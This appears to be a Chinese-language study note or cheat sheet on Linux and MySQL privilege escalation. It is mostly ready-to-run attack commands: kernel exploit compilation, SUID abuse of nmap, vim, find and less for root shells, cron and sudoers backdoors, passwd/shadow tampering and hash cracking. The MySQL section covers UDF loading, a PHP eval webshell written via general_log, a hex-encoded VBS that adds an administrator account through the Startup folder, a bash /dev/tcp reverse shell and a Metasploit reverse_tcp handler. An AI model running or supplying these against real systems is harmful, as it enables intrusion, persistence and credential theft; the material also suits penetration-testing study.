最简单的就是猜一猜是不是和之前的密码是同一个
# 内核漏洞
在得到的shell上查询版本: | |
uname -a | |
在kali搜索改版本存在的漏洞: | |
searchsploit linux 3.2.78 | |
下载后上传,可能需要编译: | |
gcc -pthread 40839.c -o 40839 -lcrypt | |
运行后可能会得到一个新的账户,切换过去: | |
su firefart |
# SUID 配置
SUID(Set User ID)是 Linux/Unix 系统中的一种特殊权限,其作用是:当一个文件被设置了 SUID 权限,用户执行该文件时,会临时获得文件所有者的权限
例如 passwd 命令的所有者是 root 用户,当其他用户改变其密码时,可以通过 SUID 来临时以 root 而非自身的权限来执行这个文件。如果不使用 SUID, 将无法更新密码。
ping,crontaba/at (用于计划工作,通常需要修改一些位于 /etc 的配置文件) 也有 SUID
设置方法:
chmod u+s file.txt / chmod 4750 file.txt | |
#需要注意,只有可执行文件(除去 shell)的 SUID 才有实际意义,但是任何一个文件或者文件夹都可以设置 SUID | |
#即使配置了 SUID, 其他用户也必须拥有该文件的执行权限 x | |
#在 ls -l 中,有 SUID 的文件权限以 s 表示(用数字表示就是最前面的 4),当其为大写时,说明当前用户缺少可执行权限,需要: | |
chmod u+x file.txt | |
find / -perm +4000 | |
#查找所有带 SUID 位的文件,/ 表示根目录,perm 表示按权限寻找 |
其他具有 SUID 的文件
nmap | |
vim | |
find | |
bash | |
more | |
less | |
nano | |
cp |
利用:
nmap --interactive | |
!sh | |
whoami | |
... | |
touch abc #随便创建的文件 | |
find abc -exec whoami \;#对找到的每一个文件执行命令 | |
... | |
vim.tiny /etc/shadow #随便打开一个 shell 文件 | |
ESC | |
:set shell=/bin/sh #设个变量 shell | |
:shell #用 vim 启动这个 shell | |
whoami | |
... | |
less/more /etc/passwd | |
!bin/sh | |
whoami | |
... |
计划任务:
ls -l /etc/cron* | |
cat /etc/crontab | |
#看一眼有什么计划任务,如果有用 root 权限运行的,就去找对应文件,并 ls -l < 文件名 > 查看这个文件的权限,如果可以修改,就写几个 SUID: | |
cp /bin/bash /tmp/bash; chmod u+s /tmp/bash; | |
#等待其执行 |
# sudo 提权
使用 sudo 可以使得普通用户使用 root 用户的命令。这些用户必须在 /etc/sudoers 中配置。
vim /etc/sudoers | |
#向其中添加 | |
test ALL=(ALL:ALL) NOPASSWD:ALL #test 为我们的用户 |
# 明文 root 密码
Linux 的密码与 /etc/passwd 和 etc/shadow 配置有关。passwd 里的用户所有人可读,root 可写。shadow 里的密码只有 root 可读写。
拥有 passwd 的写权限时
#一个正常的 passwd 用户部分是: | |
用户名:密码占位符:UID:GID:注释:家目录:默认shell | |
test:x:1000:1000::/home/test:/bin/bash | |
#其中 x 表示密码哈希在 shadow 中,如果把 x 替换为随意一段已知明文的哈希,那么这个用户的密码就会变成那个已知的明文 |
拥有 shadow 的写权限时
爆破,虽然不一定出的来
假设的 shadow 内容
test:Mqh9T8ip$4Ev.HJTBdyobrYaW/KzBlL0yx6wefeB.VDcE7KiDiwoUvGkqShU9jRK4cEZA2kBRsyH2fWjmbxc/ZyVWfXwFJ/:18849:0:99999:7:::
#使用 join 爆破,要求 shadow 和 passwd 在一个文件夹下: | |
john --user=test test.hash |
# 数据库提权
前提
数据库开启且有最高权限用户密码
获取方式
读取配置文件 / 数据库存储或备份文件 / 暴力猜解
# UDF 提权
UDF(User Defined Fuction), 通过用户自己添加函数来扩展 mysql 的功能
额外要求
包含用户自定义函数的文件为.so 文件
在 my.ini 的 [mysqld] 下,添加 secure_file_priv="",不限制导入导出路径
导出目录可写
系统中的 selinux 处于关闭状态
信息收集
select version();
select user();
select @@basedir; #数据库安装目录(base,dir)
show variables like %plugin%; #模糊搜索变量,其实就是找插件路径
提权过程
1. 找到对应系统的 so 文件 (UDF 库文件),将其 16 进制编解码,写入到插件库中
sqlmap-master\data\udf\mysql\linux\64
下的 lib_mysqludf_sys.so_
文件
select unhex(so文件的16进制编码) into dumpfile '/user/liib64/mysql/plugin/xxx.so'(插件路径)
2. 查看 UDF 库支持的函数并创建
只能创建在 so 文件中存在的函数,所以需要 16 进制编辑器来查看 so 文件
create function sys_eval return string soname 'xxx.so'
3. 执行系统命令,提权
select sys_eval("whoami");
使用 sqlmap 的动态链接库(需要导入)
编解码:
...\sqlmap\extra\cloak>python cloak.py -d -i | |
--------------------------------------------- | |
...\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll | |
#windows 解码 | |
...\sqlmap\data\udf\mysql\linux\64\lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so | |
#linux 解码 |
sql 注入导入(上传)
python sqlmap.py -u "xxx/?id=1" --file-write=".../sqlmap/extra/cloak/lib_mysqludf_sys_64.dll"(链接库目录) --file-dest=".../lib/plugin/lib_mysqludf_sys_64.dll"(插件目录) |
sql 语句导入
#select后面为动态链接库的十六进制编码(数据太长,这里省略显示),此处要写文件,需要改secure_file_priv
SELECT 0x4d5a900003... INTO DUMPFILE 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/udf.dll';
创建并查询自定义函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select * from mysql.func;
拿下,以及跑路
mysql > select sys_eval('whoami');
mysql> drop function sys_eval;
# Webshell 提权
额外要求
load_file () 开启【secure_file_priv 无限制】
知道网站物理路径,且可写
信息收集
show global variables like '%secure_file_priv%';
一把梭
打开my.ini,对应处修改成:secure_file_priv=''
写 shell 的 sql 语句可以是用 phpmyadmin, 也可以是 sqlmap
sqlmap -u "http://x.x.x.x/?id=x" --file-write="xxx" --file-dest="xxx"
利用日志
mysql>SHOW VARIABLES LIKE '%general%';
可以看到:
log 会记录 mysql 命令行的每条指令,将其保存在 log_file 中。
mysql> set global general_log = "ON"; #开启general_log
mysql> set global general_log_file='c:/phpstudy_pro/www/shell.php';
#打开,然后修改路径
mysql> select "<?php @eval($_POST['suifeng']);?>";
#把马写到日志中去,然后就可以开香槟了
国光那篇终于正常了,补一补:
# 数据库权限
提权首先要拿到高权限的 MySQL 用户,有以下几种方法:
3306 端口弱口令爆破(这个端口是默认用于建立服务器链接的端口,在 my.cnf 或者 my.ini 中配置,使用 port 关键字)
sqlmap 注入的 --sql-shell
模式
在网站数据库配置文件中拿到明文密码
已知的 mysql 漏洞
# Webshell 权限
需要:
知道物理路径
已经拿到数据库权限
secure_file_priv 没有限制
查看是否有限制:
show global variables like %secure_file_priv%;
有以下三种:
NULL:不允许导入导出
/tmp:只允许在/tmp目录导入导出
空:无限制,在mysql5.5之前默认是空,之后默认是NULL,盲猜没人手动设置?
如果是空的话,直接写 shell:
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';
用 sqlmap:
sqlmap -u "xxx/?id=xx" --file-write="/Users/guang/Desktop/shell.php" --fileidest="/var/www/html/test/shell.php"
在 linux 下很可能没有权限
使用日志写入
需要 5.0 版本以上,默认关闭:
show variables like 'general%';#查看是否开启,以及其路径
set global genera_log = 'ON';
set global general_log_file='/var/www/html/info.php';
select '<?php phpinfo();?>'
虽然可以写入,但是由于日志是 mysql 的,很有可能 Apache 没有权限访问,返回 500
# Hash 获取与解密
SQL 注入有 DBA 权限,且可以换访问 3306 端口
select host,user,password from mysql.user;
select host,user,authentication_string from mysql.user;
#然后找点网站做hash解密,或者用hashcat跑字典
hashcat -a 0 -m 300 --force 'xxxx' password.txt -O
历史漏洞
CVE-2012-2122
知道用户名,多次使用错误密码,有可能成功登进去
for i in `seq 1 1000`;do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done |
可以直接用 msf,dump 出 mysql 的 hash 值
use anuxiliary/scanner/mysql/mysql_authbypass_hashdump
set set rhosts 127.0.0.1
run
# UDF 提权
版本在 5.1 以及之后,必须放在 lib\plugin 文件夹下才能创建自定义函数
动态链接库文件可以在 sqlmap 或者 metasploit 中找到
sqlmap:
sqlmap目录/data/udf/mysql |
需要使用自带的编码工具解码
/extra/cloak/cloak.py | |
python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so -o xxx.so | |
#解码后就在 cloak.py 所在目录下 |
metasploit:
msf目录/embedded/framework/data/exploits/mysql
这个开箱即食
寻找插件目录
show variables like "%plugin%"
//如果不存在可以手动创建\lib\plugin
写入
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
#上面这个地方用不用hex解码都不重要
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt';
其中的十六进制文件见:
# 启动项提权
在 windows 下
找到对应系统的启动项路径,直接往里面写脚本(vbs 或者 exe)
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0
把上述转成 16 进制,写到系统目录中:
mysql > select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";
#注意一下路径要怎么写
使用 MSF
msf6 > use exploit/windows/mysql/mysql_start_up
# 配置 MySQL 连接信息,之后启动项文件夹要看情况填写
msf6 > set rhosts 10.211.55.6
msf6 > set username root
msf6 > set password root
msf6 > run
#执行完成后监听,需要目标系统重新登录才会触发
msf6 > handler -H 10.20.24.244 -P 4444 -p windows/meterpreter/reverse_tcp
历史漏洞
CVE-2016-6663
条件竞争提权漏洞,只要 select/create/insert 的低权限账户就可以用系统用户身份执行任意代码
利用条件
- Getshell 拿到 www-data 权限,最后提升为 mysql 权限
- 拿到 CREATE/INSERT/SELECT 低权限的 MySQL 账户
- 关键提取步骤需要在交互环境下,所以需要反弹 shell
- MySQL 版本需要 <=5.5.51 或 5.6.x <=5.6.32 或 5.7.x <=5.7.14 或 8.x < 8.0.1
- MariaDB 版本需要 <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17
先连接上去上传 EXP
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1 #反弹shell
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
#编译EXP
# ./mysql-privesc-race 数据库用户名 密码 数据库地址 数据库
./mysql-privesc-race test 123456 localhost test
#执行EXP
# 其他
MOF 提权只在 windows server 2003 环境下成功,有遇到搜下就行